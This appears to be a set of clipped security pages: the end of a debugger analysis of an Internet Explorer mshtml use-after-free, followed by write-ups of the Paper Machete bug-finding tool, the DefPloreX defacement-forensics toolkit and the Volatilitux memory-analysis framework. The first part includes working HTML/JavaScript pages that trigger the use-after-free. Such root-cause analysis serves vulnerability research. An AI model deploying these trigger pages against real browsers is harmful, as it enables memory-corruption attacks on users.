01f8e6dc 63669826 mshtml\!CDataCacheBase::CacheData+0x17  
01f8e6fc 636697b1 mshtml\!CacheLineOtherInfoEx+0x71  
01f8e758 6366a75e mshtml\!CLineCore::AssignLine+0x2a  
01f8e808 636731c6 mshtml\!CRecalcLinePtr::MeasureLine+0x7e5  
01f8e8ec 63672ed9 mshtml\!CDisplay::RecalcLinesWithMeasurer+0x43e  
01f8eaa8 63672de9 mshtml\!CDisplay::RecalcLines+0x6a  
01f8eabc 63672d9c mshtml\!CDisplay::RecalcView+0x6d  
01f8ebcc 6366cabe mshtml\!CFlowLayout::CalcTextSize+0x433  
01f8ee54 636696cf mshtml\!CFlowLayout::CalcSizeCoreCompat+0x1005  
01f8ee74 6366967e mshtml\!CFlowLayout::CalcSizeCore+0x48  
01f8eeac 63668ca2 mshtml\!CFlowLayout::CalcSizeVirtual+0x1ae  
01f8efe4 63666800 mshtml\!CLayout::CalcSize+0x2b8  
01f8f0ac 6366656f mshtml\!CFlowLayout::MeasureSite+0x304  
01f8f0f8 6366694f mshtml\!CFlowLayout::GetSiteWidth+0x153  
01f8f138 6360d916 mshtml\!CLSMeasurer::GetSiteWidth+0xce  
01f8f25c 63607620 mshtml\!CRecalcLinePtr::AlignObjects+0x38a  
01f8f2e4 6366aa19 mshtml\!CRecalcLinePtr::CalcAlignedSitesAtBOLCore+0x1df  
01f8f338 6366a4f0 mshtml\!CRecalcLinePtr::CalcAlignedSitesAtBOL+0x9e  
01f8f400 636731c6 mshtml\!CRecalcLinePtr::MeasureLine+0x3ef  
  
CTreeNode:node\[0021a2b8\] parent\[0021a310\] Type:0360a310 635af070
mshtml\!CTitleElement::\`vftable'  
CTreeNode:node\[0021a260\] parent\[0021a470\] Type:0360a348 635a7e38
mshtml\!CBodyElement::\`vftable'  
Release:node\[0021a158\] \[Freed\] Type:0021d7d0 639ad498
mshtml\!CObjectElement::\`vftable'  
Release:node\[0021a2b8\] \[Freed\] Type:0360a310 635af070
mshtml\!CTitleElement::\`vftable'  
Release:node\[0021a310\] \[Freed\] Type:0023a7c0 635aedf0
mshtml\!CHeadElement::\`vftable'  
Release:node\[0021a260\] \[Freed\] Type:0360a348 635a7e38
mshtml\!CBodyElement::\`vftable'  
Release:node\[0021a470\] \[Freed\] Type:0023a190 635aeb20
mshtml\!CHtmlElement::\`vftable'  
Release:node\[00219e98\]Type:0023a280 635990c8
mshtml\!CRootElement::\`vftable'  
Release:node\[00219e98\] \[Freed\] Type:0023a280 635990c8
mshtml\!CRootElement::\`vftable'  
Breakpoint 3 hit  
eax=002234f0 ebx=00000000 ecx=001b84d8 edx=01f8ebb8 esi=002129a0 edi=00000000  
eip=6363bd5d esp=01f8eb54 ebp=01f8eb64 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206  
mshtml\!CDataCacheBase::Find+0x46:  
6363bd5d 85c9 test ecx,ecx  
  
  

By now the node was cleared but yet exists in the cache, let's confirm this by
inspecting the cache, following again its path as indicated above:  

  
?poi\(poi\(poi\(00202810+6c\)+30\)\)  
Evaluate expression: 1803480 = 001b84d8  
  
dc 001b84d8  
001b84d8 00000000 000003e8 00000000 0000063a ............:...  
001b84e8 00000000 00000000 00000000 0021a158 ............X.\!.  
  
  

This is the 'why' a referenced free node leads to a crash. The cache is
populated with the node, but it's not freed during the tree teardown. Because
of performance the layout calculation is made out using the cache. But ups,
mshtml decided that because of invalid content, OBJECT metatag should exist,
so it destroyed it and its tree references, but forgot the layout cache...  

And here it is... running it again we'll arrive at our final destination, the
crash.  

  

For a final and definite proof, I'll present the 'magic' sequence of debugging
commands that clears all doubts that we could still have.  
If you've been following the text, you'll understand how we got to the first
line of the this excerpt:  

  
CTreeNode:node\[00224de0\] parent\[002246a8\] Type:00227ed8 639ad498
mshtml\!CObjectElement::\`vftable'  
  
  

Let's set a breakpoint on the first address of the mshtml\!CObjectElement
contained by our mshtml\!CTreeNode. As soon as the object is freed it will
trigger it.  

  
ba w4 00227ed8  
bp mshtml\!CacheLineOtherInfoEx  
g  
CTreeNode:node\[00224860\] parent\[002246a8\] Type:0019c458 6362c3d0
mshtml\!CPhraseElement::\`vftable'  
CTreeNode:node\[00224a70\] parent\[002246a8\] Type:0019c578 6362c3d0
mshtml\!CPhraseElement::\`vftable'  
Release:node\[002245f8\] \[Freed\] Type:0019bad8 635af070
mshtml\!CTitleElement::\`vftable'  
Release:node\[002248b8\] \[Freed\] Type:0019c428 635aedf0
mshtml\!CHeadElement::\`vftable'  
Release:node\[00224910\] \[Freed\] Type:0019ba30 635a7e38
mshtml\!CBodyElement::\`vftable'  
Release:node\[00224968\] \[Freed\] Type:0019c0c8 635aeb20
mshtml\!CHtmlElement::\`vftable'  
Release:node\[00224b20\]Type:0019c098 635990c8
mshtml\!CRootElement::\`vftable'  
Release:node\[00224b20\] \[Freed\] Type:0019c098 635990c8
mshtml\!CRootElement::\`vftable'  
Release:node\[00224650\]Type:0022c948 635b4938
mshtml\!CScriptElement::\`vftable'  
Release:node\[00224650\] \[Freed\] Type:0022c948 635b4938
mshtml\!CScriptElement::\`vftable'  
Breakpoint 3 hit  
eax=01f8f110 ebx=01f8f198 ecx=00000000 edx=6365fa7f esi=01f8f1fc edi=01f8f150  
eip=636697ca esp=01f8f0f8 ebp=01f8f150 iopl=0 nv up ei pl nz ac po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212  
mshtml\!CacheLineOtherInfoEx:  
636697ca 8bff mov edi,edi  
  
636697d7 ff1594135863 call dword ptr \[mshtml\!\_imp\_\_TlsGetValue
\(63581394\)\] ds:0023:63581394=\{kernel32\!TlsGetValue \(7c809750\)\}  
0:008>  
eax=001aa318 ebx=01f8f198 ecx=0000002a edx=6365fa7f esi=01f8f1fc edi=01f8f150  
eip=636697dd esp=01f8f0ec ebp=01f8f0f4 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
mshtml\!CacheLineOtherInfoEx+0x13:  
636697dd 8b586c mov ebx,dword ptr \[eax+6Ch\] ds:0023:001aa384=002190a8  
  
?poi\(poi\(001aa318 +6c\)+30\)  
Evaluate expression: 2284536 = 0022dbf8  
  
ba w4 0022dbf8  
  
g  
Breakpoint 4 hit  
eax=001b6870 ebx=00000000 ecx=0022dbf8 edx=00000008 esi=00000000 edi=002190a8  
eip=63672d75 esp=01f8f084 ebp=01f8f084 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202  
mshtml\!CLineOtherInfo::Clone+0x30:  
63672d75 f7d8 neg eax  
  
dc poi\(0022dbf8\) +1c  
001b688c 00224de0 00000000 000005dc 00000000 .M".............  
  
  

See? The cache breakpoint is triggered before the mshtml\!CObjectElement or
the mshtml\!CTreeNode container are freed.  
  
Release:node\[002246a8\]Type:0019b870 635a7e38
mshtml\!CBodyElement::\`vftable'  
....  
Release:node\[00224de0\] \[Freed\] Type:00227ed8 639ad498
mshtml\!CObjectElement::\`vftable'  
Release:node\[00224910\] \[Freed\] Type:0019bb10 635af070
mshtml\!CTitleElement::\`vftable'  
Release:node\[00224968\] \[Freed\] Type:0023cda8 635aedf0
mshtml\!CHeadElement::\`vftable'  
Release:node\[002248b8\] \[Freed\] Type:0019bb48 635a7e38
mshtml\!CBodyElement::\`vftable'  
Release:node\[00224ac8\] \[Freed\] Type:0023ce38 635aeb20
mshtml\!CHtmlElement::\`vftable'  
Release:node\[002245a0\]Type:0023c9e8 635990c8
mshtml\!CRootElement::\`vftable'  
Release:node\[002245a0\] \[Freed\] Type:0023c9e8 635990c8
mshtml\!CRootElement::\`vftable'  
Breakpoint 2 hit  
eax=00000000 ebx=00227ed8 ecx=00227ed8 edx=00000000 esi=00227ed8 edi=00000000  
eip=636219a0 esp=01f8fbfc ebp=01f8fc0c iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
mshtml\!CElement::~CElement+0xb:  
636219a0 e8cc900100 call mshtml\!CElement::SecurityContext \(6363aa71\)  
  
k  
ChildEBP RetAddr  
01f8fbfc 639a1891 mshtml\!CElement::~CElement+0xb  
01f8fc0c 639ad719 mshtml\!COleSite::~COleSite+0x98  
01f8fc1c 63625928 mshtml\!CObjectElement::\`scalar deleting destructor'+0x24  
01f8fc24 6362590e mshtml\!CBase::SubRelease+0x22  
01f8fc34 6363d090 mshtml\!CBase::PrivateRelease+0x3c  
01f8fc48 6363b472 mshtml\!CElement::PrivateRelease+0x29  
01f8fc54 639affea mshtml\!CStaticNodeList::Release+0xe  
01f8fd24 6364daa8 mshtml\!CObjectElement::DeferredFallback+0x2f8  
  
  
In fact mshtml\!CObjectElement is only freed after mshtml\!CTreeNode
destruction as can be seen by mshtml\!CObjectElement destructor timing.  

  
This is a cool conclusion because as you can see, the problem isn't directly
related with the OBJECT html tag\(although it's the cause for triggering the
bug\) and this can be proven with the following replacement page:  
  
<html>  
<body>  
<script language='javascript'>  
document.body.innerHTML += "<object align='right' hspace='1000'
width='1000'>TAG\_1</object>";  
document.body.innerHTML += "<tr id='tag\_3'
style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-
indent:-1000px' >TAG\_3</tr>";  
document.body.innerHTML += "AAAAAAA";  
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto
-1000cm auto auto;' dir='ltr'>TAG\_11</strong>";  
</script>  
</body>  
</html>  
  
  
This won't trigger the bug as TR objects don't participate on the layout
caching. So the real problem is with the STYLE attributes. This also can be
proven. Pick up the original trigger page and remove the STYLE attribute and
see it run, and not crash...  
  

<html>  
<body>  
<script language='javascript'>  
document.body.innerHTML += "<object align='right' hspace='1000'
width='1000'>TAG\_1</object>";  
document.body.innerHTML += "<a id='tag\_3' >TAG\_3</a>";  
document.body.innerHTML += "AAAAAAA";  
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto
-1000cm auto auto;' dir='ltr'>TAG\_11</strong>";  
</script>  
</body>  
</html>  
  
  
Or use this one:  
  
<html>  
<body>  
<script language='javascript'>  
document.body.innerHTML += "<object id='po'>TAG\_1</object>";  
document.body.innerHTML += "<a id='tag\_3'
style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-
indent:-1000px' >TAG\_3</a>";  
document.body.innerHTML += "AAAAAAA";  
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto
-1000cm auto auto;' dir='ltr'>TAG\_11</strong>";  
</script>  
</body>  
</html>  
  
  
Nice, eh?  
  
Final note, during the debugging session I didn't use heap paging and user
mode stack trace because of unpredictable results I'd get that would led to
crashes on other places than the one presented in the original d0c\_s4vage
post. Also, I sometimes use an old machine to do most of the debugging, and
it's impossible to get the heap extension commands to work as they are to slow
and completly lock down the machine. So, I wanted to show that it is some
times possible to do this without many resources.  
  
Regarding the exploit code per se, there really is not much to be said,
except: read the Alexander Sotirov paper titled 'Heap Feng Shui in Javascript'
for understanding how to deterministically influence the IE heap allocator and
carefully read the original d0c\_s4vage's paper for a full description of its
ROP sequencing.  
  
Hope you enjoyed it.

# cetfor/PaperMachete

**Created:**| _3/22/2019 6:04:17 PM_  
---|---  
**Updated:**| _3/22/2019 6:04:17 PM_  
**Author:**| __  
**Tags:**| _Debugging python_  
  

  

# cetfor/PaperMachete

[code]

     ____                        __  __            _          _           
    |  _ \ __ _ _ __  ___ _ __  |  \/  | __ _  ___| |__   ___| |_ ___     ________
    | |_) / _` | '_ \/ _ \ '__| | |\/| |/ _` |/ __| '_ \ / _ \ __/ _ \   /_______/
    |  __/ (_| | |_)|  __/ |    | |  | | (_| | (__| | | |  __/ ||  __/   \_______\
    |_|   \__,_| .__/\___|_|    |_|  |_|\__,_|\___|_| |_|\___|\__\___|   /_______/
               |_|                                                      @==|;;;;;;>
    
[/code]

## About

Paper Machete \(PM\) orchestrates Binary Ninja and Grakn.ai to aid static
binary analysis for the purpose of finding bugs in software. PM leverages the
Binary Ninja MLIL SSA to extract semantic meaning about individual
instructions, operations, register/variable state, and overall control flow.

PM migrates this data into Grakn - a knowledge graph that gives us the ability
to define domain-specific ontologies for data and write powerful inference
rules to form relationships between data we don't want to \(or can't\)
explicitly store. Heeh, how neat is that?

This project was released in conjunction with a DerbyCon 2017 talk titled
"Aiding Static Analysis: Discovering Vulnerabilities in Binary Targets through
Knowledge Graph Inferences." You can watch that talk here.

Paper Machete's initial prototype and public codebase were developed by
security researchers at the Battelle Memorial Institute. As this project
matures, we hope that you will find it useful in your own research and
consider contributing to the project.

## Why BNIL?

The BNIL suite of ILs is easy to work with, pleasantly verbose, and human-
readable. At any point we can decide to leverage other levels and forms of the
IL with little development effort on our part. When you add to that the
ability to lift multiple architectures and write custom lifters, we have
little reason not to use BNIL.

## Why Grakn?

Grakn's query language \(Graql\) is easy to learn and intuitive, which is
extremely important in the early stages of this research while we're still
hand-writing queries to model the patterns vulnerability researchers look for
when performing static analysis.

The ability to write our own domain-specific ontologies lets us quickly
experiment with new query ideas and ways of making our queries less complex.
When we run into a case where we think "gee, if I just had access to the
relationship between..." we can modify our ontology and inference rules to get
that information.

While the end game for PM is to eliminate the need for human-written queries,
the fact is we're starting from square one. Which means hand-jamming a lot
queries to model the patterns human vulnerability researchers look for when
bug hunting.

## Dependencies

Paper Machete requires BinaryNinja v1.1, Grakn v1.4.2, the Grakn Python
Driver, and the Java JRE

## Query Scripts

We've included some basic queries to get you started if you want to play
around with PM. As you can imagine, there is no "silver bullet" query that
will find all manifestations of a specific vulnerability class. Because of
this, we've included versions for each CWE query. As we add new methods of
finding the same CWE, we'll add scripts with incremented the version numbers
to differentiate.

`cwe_120_v1.py` \- Tests for use of unsafe 'gets\(\)' function \(CWE-120\)

`cwe_121_v1.py` \- Tests for buffer overflows \(CWE-121\)

`cwe_129_v1.py` \- Tests for missing bounds checks \(CWE-129\)

`cwe_134_v1.py` \- Tests for format string vulnerabilities \(CWE-134\)

`cwe_788_v1.py` \- Tests for missing bounds check on array indexes \(CWE-788\)

## How Do I Use It?

For basic use, run the `paper_machete.py` script and follow the prompts. For
more advanced use, please read the wiki.

Typically you'll start with option `[1]` and work your way down to option
`[3]`. If you run into any issues with Grakn use option `[4]` to reset Grakn
to a clean state and try again.

[code]

    ... banner ...
    [1] Analyze a binary file
    [2] Migrate a JSON file into Grakn
    [3] Run all CWE queries
    [4] Clean and restart Grakn
    [5] Quit
    
[/code]

Option `[1]` lists all executable files in the `/analysis` directory. So place
any executables you want to analyze in `/analysis`. This option will run
`pmanalyze.py` and generate a JSON file in the `/analysis` directory.

Once you've analyzed files with `[1]` and produced resulting JSON files, they
will appear as a choice in option `[2]`. Selecting a JSON file in option `[2]`
will migrate the data into Grakn.

Now that you have data in Grakn, you can use option `[3]`. This will kick off
all scripts in `/queries` against the keyspace of your choice. If you write
your own query patterns, just throw them in `/queries` and option `[3]` will
run them too.

Measure

Measure

# DefPloreX: A Machine-Learning Toolkit for Large-scale eCrime Forensics -
TrendLabs Security Intelligence Blog

**Created:**| _9/4/2017 9:49:42 AM_  
---|---  
**Updated:**| _9/4/2017 9:49:42 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# DefPloreX: A Machine-Learning Toolkit for Large-scale eCrime Forensics

  * Posted on:July 28, 2017 at 2:26 am
  * Posted in:Open source
  * Author:
Trend Micro Senior Threat Researchers

  * 55
_ _

  * _ _
  * 253
_ _

  * 4
_ _

  * _ _

**_By Marco Balduzzi and Federico Maggi_**

The security industry as a whole loves collecting data, and researchers are no
different. With more data, they commonly become more confident in their
statements about a threat. However, large volumes of data require more
processing resources, as extracting meaningful and useful information from
highly unstructured data is particularly difficult. As a result, manual data
analysis is often the only choice, forcing security professionals like
investigators, penetration testers, reverse engineers, and analysts to process
data through tedious and repetitive operations.

We have created a flexible toolkit based on open-source libraries for
efficiently analyzing millions of defaced web pages. It can also be used on
web pages planted as a result of an attack in general. Called DefPloreX \(a
play on words from “Defacement eXplorer”\), our tool uses a combination of
machine-learning and visualization techniques to turn unstructured data into
meaningful high-level descriptions. Real-time information on incidents,
breaches, attacks, and vulnerabilities are efficiently processed and condensed
into browsable objects that are suitable for efficient large-scale e-crime
forensics and investigations.

DefPloreX ingests plain and flat tabular files \(e.g., CSV files\) containing
metadata records of web incidents under analysis \(e.g., URLs\), explores
their resources with headless browsers, extracts features from the defaced web
pages, and stores the resulting data to an Elastic index. The distributed
headless browsers, as well as any large-scale data-processing operation, are
coordinated via Celery, the de-facto standard for distributed task
coordination. Using a multitude of Python-based data-analysis techniques and
tools, DefPloreX creates offline “views” of the data, allowing easy pivoting
and exploration.

The most interesting aspect of DefPloreX is that it automatically groups
similar defaced pages into clusters, and organizes web incidents into
campaigns. Requiring only one pass on the data, the clustering technique we
use is intrinsically parallel and not memory bound. DefPloreX offers text- and
web-based UIs, which can be queried using a simple language for investigations
and forensics. Since it’s based on Elastic Search, the data DefPloreX produces
can be easily integrated with other systems.

**_Use Case_**

Here is an example of how an analyst could use DefPloreX to investigate a
campaign called “Operation France” \(with “\#opfrance” being the Twitter
handler associated with it\). This campaign is operated prevalently by online
Muslim activists with the goal of supporting radical Islamism.

As Figure 1 shows, this campaign targeted 1,313 websites over a period of 4
years \(2013-2016\), mainly targeting French domain names \(Figure 2\).
DefPloreX reveals the actors’ composition and the defaced templates used in
the attacks \(Figure 3\). Some of these members explicitly support the attacks
against France conducted by radical Islamists \(e.g., in terrorism\) \(Figure
4\).

<img src='img/Temp2_2064.png' width='400' height='141' /><img
src='img/Temp2_2065.png' width='246' height='312' /><img
src='img/Temp2_2069.png' width='181' height='200' /><img
src='img/Temp2_2071.png' width='200' height='139' />

_Figures 1-4. Investigation example for campaign Operation France
\(\#opfrance\) \(Click to enlarge\)_

**_Public Release_**

DefPloreX supports the analyst in the following operations:

  * importing and exporting generic data into and from an Elastic index
  * enriching the index with various attributes
  * visiting web pages in an automated, parallel fashion to extract numerical and visual features that capture the structure of the HTML page and its appearance when rendered
  * post-processing the numerical and visual features to extract a compact representation that describes each web page \(we call this representation a “bucket”\)
  * using the compact representation to pivot the original web pages, grouping them into clusters of similar pages
  * performing generic browsing and querying of the Elastic index.

The following diagram shows the architecture of DefPloreX:

<img src='img/Temp2_2073.png' width='600' height='316' />

_Figure 5. Overview of DefPloreX capabilities_

From each web page, we wanted to collect two sides of the same story: a
“static” view of the page \(e.g., non-interpreted resources, scripts, text\)
and a “dynamic” view of the same page \(e.g., a rendered page with DOM
modifications and so on\). The full version of DefPloreX can extract URLs,
e-mail addresses, social-network nicknames and handles, hashtags, images, file
metadata, summarized text, and other information. This data captures the main
characteristics of any defaced web page.

<img src='img/Temp2_2066.png' width='540' height='324' />

_Figure 6. Collection of data from URLs_

We approached the problem of finding groups of related defacement web pages
\(e.g., hacktivism campaigns\) as a typical data-mining problem. We assume
that there are recurring and similar characteristics among these pages that we
can capture and use as clustering features. For example, we assume that the
same attacker will reuse the same web snippets \(albeit with minimal
variations\) within the same campaign. We capture this and other aspects by
extracting numerical and categorical features from the data we obtained by
analyzing each page \(static and dynamic view\).

<img src='img/Temp2_2070.png' width='540' height='236' />

_Figure 7. Features obtained from each URL_

DefPloreX also sports a feature called “data bucketing,” which we use to
derive a compact representation of each record. This compact representation is
then used to enable fast clustering. In our case, a record is an instance of a
defaced page, but this method can be applied to other domains. When applied to
numeric features, this bucketing functionality represents a real number \(of
any range\) by using only a limited set of categorical values \(i.e., low,
medium, high\).

Elastic search natively supports the statistics primitives \(e.g.,
percentiles\) required to perform this transformation from numerical values to
categorical values. If it’s applied to features that are originally
categorical \(e.g., character encoding used in a web page\), this bucketing
functionality represents all existing encoding schemes \(e.g., “windows-1250,”
“iso-\*”\), with the geographical region in which each encoding is typically
used \(e.g., European, Cyrillic, Greek\). The same can be done for spoken
languages, TLDs, and so on.

The web-based UI is based on React, backed by a lightweight REST API written
in Flask. The web-based UI is essentially a “spreadsheet on steroids,” in the
sense that smart pagination allows it to be scaled up to an arbitrary number
of records. The main task, fulfilled by the web-based UI, is that of browsing
through clusters and records. For example, to spot a web-defacement campaign
coordinated by the same \(small\) group of cyber-criminals, we would query
DefPloreX to display clusters with at most ten attackers and inspect the
timeline of each cluster to spot periodical patterns or spikes in activity,
revealing coordinated attacks.

In all of its operations, DefPloreX keeps the amount of memory used to the
bare minimum without sacrificing performance. DefPloreX works well on a simple
laptop but can scale up when more computing resources are available.

<img src='img/Temp2_2074.png' width='200' height='170' /><img
src='img/Temp2_2068.png' width='200' height='170' />

<img src='img/Temp2_2067.png' width='200' height='170' /><img
src='img/Temp2_2072.png' width='200' height='171' />

_Figures 8-11. Example of DefPloreX usage \(Click to enlarge\)_

**_Public Release_**

Following our talk at this year’s Black USA Arsenal in Las Vegas on July 27,
we released part of DefPloreX under FreeBSD License on Github. The released
toolkit consists of a framework library for large-scale computation of
Elasticsearch’s records. A copy of our presentation may be found here.

  * _ _
  * _ _
  * _ _
  * _ _
  * _ _

### Related posts:

  * Cerber Starts Evading Machine Learning 
  * RATANKBA: Delving into Large-scale Watering Holes against Enterprises 
  * Large-Scale Petya Ransomware Attack In Progress, Hits Europe Hard 
  * MS17-010: EternalBlue’s Large Non-Paged Pool Overflow in SRV Driver 

<img src='img/say-no-to-ransomware.jpg' width='620' height='55' />

Learn how to protect Enterprises, Small Businesses, and Home Users from
ransomware:

ENTERPRISE »

SMALL BUSINESS»

HOME»

Tags: DefacementsDefPloreXE-CrimeWeb AttacksWeb Campaigns

  

# Volatilitux : Physical memory analysis of Linux systems | Segmentation fault
**Created:**| _12/11/2010 11:16:18 AM_  
---|---  
**Updated:**| _12/11/2010 11:16:37 AM_  
**Author:**| __  
**Tags:**| _Memory forensics Linux_  
  

## Volatilitux : Physical memory analysis of Linux systems

8 décembre 2010 – 2:09

As some of my followers may have seen, I have recently been working on a
forensic tool called **Volatilitux**. It is pretty much the equivalent of the
Volatility framework for Linux systems. I presented a pre-release version of
this tool at last Hackerzvoice meeting; here are the slides \(in French\).
Today, I am glad to announce the first release of this framework. And to
celebrate, here is my first blog post attempt in English <img
src='img/Temp2_8995.gif' alt=';)' /> .

### Background

Volatilitux is a Python framework that helps extracting digital artifacts from
raw physical memory \(RAM\) dumps of Linux systems. The goal of this tool is
to offer a tool in a field that cruelly lacks of tools. It is mainly inspired
by the SSTIC 2010 challenge whose purpose was to analyze the physical memory
of an Android phone. When the challenge got released, the only suitable tool
that existed was draugr; however it required two lines to be patched in order
to be able to analyze the file.

I tried to solve this challenge but I quickly got stuck at the first step :
listing all running processes and extracting the virtual memory map of each
one. I learned a lot reading the kernel source code, some blog posts, and
finally the challenge solutions when they got released. And I understood the
biggest problem of physical memory analysis in Linux: most of kernel structure
offsets change depending on the kernel version, configuration and patches.
Thus, the first step was to detect all of those offsets. And then, use them to
extract and browse all kernel objects.

I first detected those offsets manually by recompiling Android 2.1 kernel
\(using the NDK\), running it into Google’s emulator \(provided in the SDK\),
and then load a LKM in order to display all those offsets. It worked.

Then, I thought: «Since Volatility is a great tool but only supports Windows,
why not develop a similar framework that works for Linux RAM dumps?»

I first came up with a version of the tool that required a configuration file
containing all the offsets, as well as init\_task symbol address and the
architecture of the dump. Then, I chose to raise the bar a little higher, and
automatically detects those offsets. And here we are…

### Features

Here are the main features of the tool:

  * Automatic detection of kernel structure offsets
  * Manual detection of those offsets using a Loadable Kernel Module
  * Supports multiple architectures: ARM, x86, x86 with PAE enabled
  * Can be used as a Python module in order to automate tasks and be embedded with other projects

Unlike Volatility, it now only supports a restricted set of commands:

  * `pslist`: print the list of all process
  * `memmap`: print the memory map of a process
  * `memdmp`: dump the addressable memory of a process
  * `filedmp`: dump an open file
  * `filelist`: print the list of all open files for a given process

Of course, since it is a framework, one can extends those features and easily
add new architectures, commands, and kernel structures.

It has been tested on physical memory dumps of the folowing Linux
distributions:

  * Android 2.1
  * Fedora 5 and 8
  * Debian 5
  * CentOS 5
  * Ubuntu with and without PAE

### Requirements

Volatilitux requires Python 2.6. It only uses Python builtin modules, and does
not rely on any external library.

It has mainly been tested on Windows XP, but it should run on any other
platform.

### Get the source

You can download and browse the source code of this tool on the Volatilitux
Google Code project.

To download it directly:

  * volatilitux-1.0.zip

Please read the README.txt file, as it contains information on how to use the
tool.

### Known bug

Yes, Volatilitux already has a bug <img src='img/Temp2_8994.gif' alt=':)' /> .
One of the kernel offset is not yet properly detected \(actually, it is
hardcoded due to lack of time\!\) for Ubuntu distributions. This will make the
memmap command display incorrect information in the « Flag » column. However
it should not prevent the other commands to run.

### Quick Example

Here is how to use Volatilitux to extract the TextViewer Android application
in the SSTIC 2010 challenge. Be sure to download the dump and extract «
challv2″ to try it <img src='img/Temp2_8995.gif' alt=';)' /> .

[code]

    $ volatilitux.py -f challv2 pslist
    Name                PID       PPID
    swapper             0         0
    init                1         0
    kthreadd            2         0
    ksoftirqd/0         3         2
    events/0            4         2
    khelper             5         2
    suspend             6         2
    kblockd/0           7         2
    cqueue              8         2
    kseriod             9         2
    kmmcd               10        2
    pdflush             11        2
    pdflush             12        2
    kswapd0             13        2
    aio/0               14        2
    mtdblockd           21        2
    hid_compat          22        2
    rpciod/0            23        2
    mmcqd               24        2
    sh                  25        1
    servicemanager      26        1
    vold                27        1
    debuggerd           28        1
    rild                29        1
    zygote              30        1
    mediaserver         31        1
    installd            32        1
    keystore            33        1
    init.goldfish.s     34        1
    qemud               35        1
    adbd                37        1
    qemu-props          44        34
    system_server       52        30
    putmethod.latin     96        30
    m.android.phone     98        30
    d.process.acore     101       30
    ndroid.settings     116       30
    roid.alarmclock     136       30
    d.process.media     147       30
    com.android.mms     170       30
    m.android.email     183       30
    com.svox.pico       207       30
    nssi.textviewer     227       30
    om.anssi.secret     233       30
    
    $ volatilitux.py -f challv2 memmap -p 227
    Begin    End       Flags File
    00008000-00009000  r-xp  app_process
    00009000-0000a000  rwxp  app_process
    0000a000-002dc000  rwxp
    10000000-10001000  ---p
    10001000-10100000  rwxp
    40000000-40008000  r-xs  dev/ashmem/system_properties
    40008000-40009000  r-xp
    40009000-402aa000  rwxp  dev/ashmem/mspace/dalvik-heap/zygote/0
    402aa000-41009000  ---p  dev/ashmem/mspace/dalvik-heap/zygote/0
    41009000-41038000  r-xs  DroidSans.ttf
    41038000-4104c000  rwxp
    4104c000-4104d000  ---p  dev/ashmem/dalvik-LinearAlloc
    4104d000-412c2000  rwxp  dev/ashmem/dalvik-LinearAlloc
    412c2000-4154c000  ---p  dev/ashmem/dalvik-LinearAlloc
    4154c000-416d0000  r-xs  core.jar
    416d0000-41a5d000  r-xs  system@framework@core.jar@classes.dex
    41a5d000-41a91000  rwxp
    41a91000-41af6000  r-xs  ext.jar
    41af6000-41bee000  r-xs  system@framework@ext.jar@classes.dex
    41bee000-41e69000  r-xs  framework.jar
    41e69000-4244d000  r-xs  system@framework@framework.jar@classes.dex
    4244d000-424cb000  rwxp
    424cb000-424de000  r-xs  android.policy.jar
    424de000-42507000  r-xs  system@framework@android.policy.jar@classes.dex
    42507000-42582000  r-xs  services.jar
    42582000-4268d000  r-xs  system@framework@services.jar@classes.dex
    4268d000-426b1000  rwxp
    426b1000-426e6000  rwxp  dev/ashmem/dalvik-heap-bitmap/objects
    426e6000-426f2000  rwxp
    426f2000-426f3000  r-xs  dev/ashmem/SurfaceFlinger read-only heap
    426f3000-426f8000  r-xs  com.anssi.textviewer.apk
    426f8000-426fa000  r-xs  com.anssi.textviewer.apk
    426fa000-426ff000  r-xs  com.anssi.textviewer.apk
    426ff000-42700000  r-xs  data@app@com.anssi.textviewer.apk@classes.dex
    42700000-42701000  rwxs  dev/ashmem/SurfaceFlinger Client control-block
    42707000-42738000  rwxp
    42738000-42767000  r-xs  DroidSans-Bold.ttf
    42778000-427ae000  rwxp  dev/ashmem/dalvik-heap-bitmap/mark/0
    427ba000-42c63000  r-xs  framework-res.apk
    42c63000-42e14000  r-xs  framework-res.apk
    42e14000-42e55000  rwxp  dev/ashmem/mspace/dalvik-heap/zygote/1
    42e55000-43b74000  ---p  dev/ashmem/mspace/dalvik-heap/zygote/1
    43b74000-43b75000  ---p
    43b75000-43c74000  rwxp
    43c74000-43c91000  rwxp
    43cb9000-43cf9000  rwxp  dev/ashmem/dalvik-heap-bitmap/mark/1
    43cf9000-43d3a000  rwxp  dev/ashmem/mspace/dalvik-heap/2
    43d3a000-44a19000  ---p  dev/ashmem/mspace/dalvik-heap/2
    44a19000-44a1a000  ---p
    44a1a000-44b19000  rwxp
    44b19000-44c17000  r-xp  binder
    44c17000-44c18000  ---p
    44c18000-44d17000  rwxp
    44d17000-44d18000  ---p
    44d18000-44e17000  rwxp
    44e17000-45108000  r-xs  DroidSansFallback.ttf
    80000000-80433000  r-xp  libicudata.so
    80433000-80434000  rwxp  libicudata.so
    80800000-8080a000  r-xp  libskiagl.so
    8080a000-8080b000  rwxp  libskiagl.so
    80900000-80902000  r-xp  libemoji.so
    80902000-80903000  rwxp  libemoji.so
    80a00000-80a03000  r-xp  gralloc.default.so
    80a03000-80a04000  rwxp  gralloc.default.so
    9a200000-9a256000  r-xp  libsrec_jni.so
    9a256000-9a257000  rwxp  libsrec_jni.so
    9d800000-9d808000  r-xp  libdrm1.so
    9d808000-9d809000  rwxp  libdrm1.so
    a6000000-a60cb000  r-xp  libopencore_common.so
    a60cb000-a60d1000  rwxp  libopencore_common.so
    a7000000-a70bd000  r-xp  libopencore_player.so
    a70bd000-a70c5000  rwxp  libopencore_player.so
    a7680000-a7697000  r-xp  libomx_amrenc_sharedlibrary.so
    a7697000-a7698000  rwxp  libomx_amrenc_sharedlibrary.so
    a7a00000-a7a30000  r-xp  libopencore_net_support.so
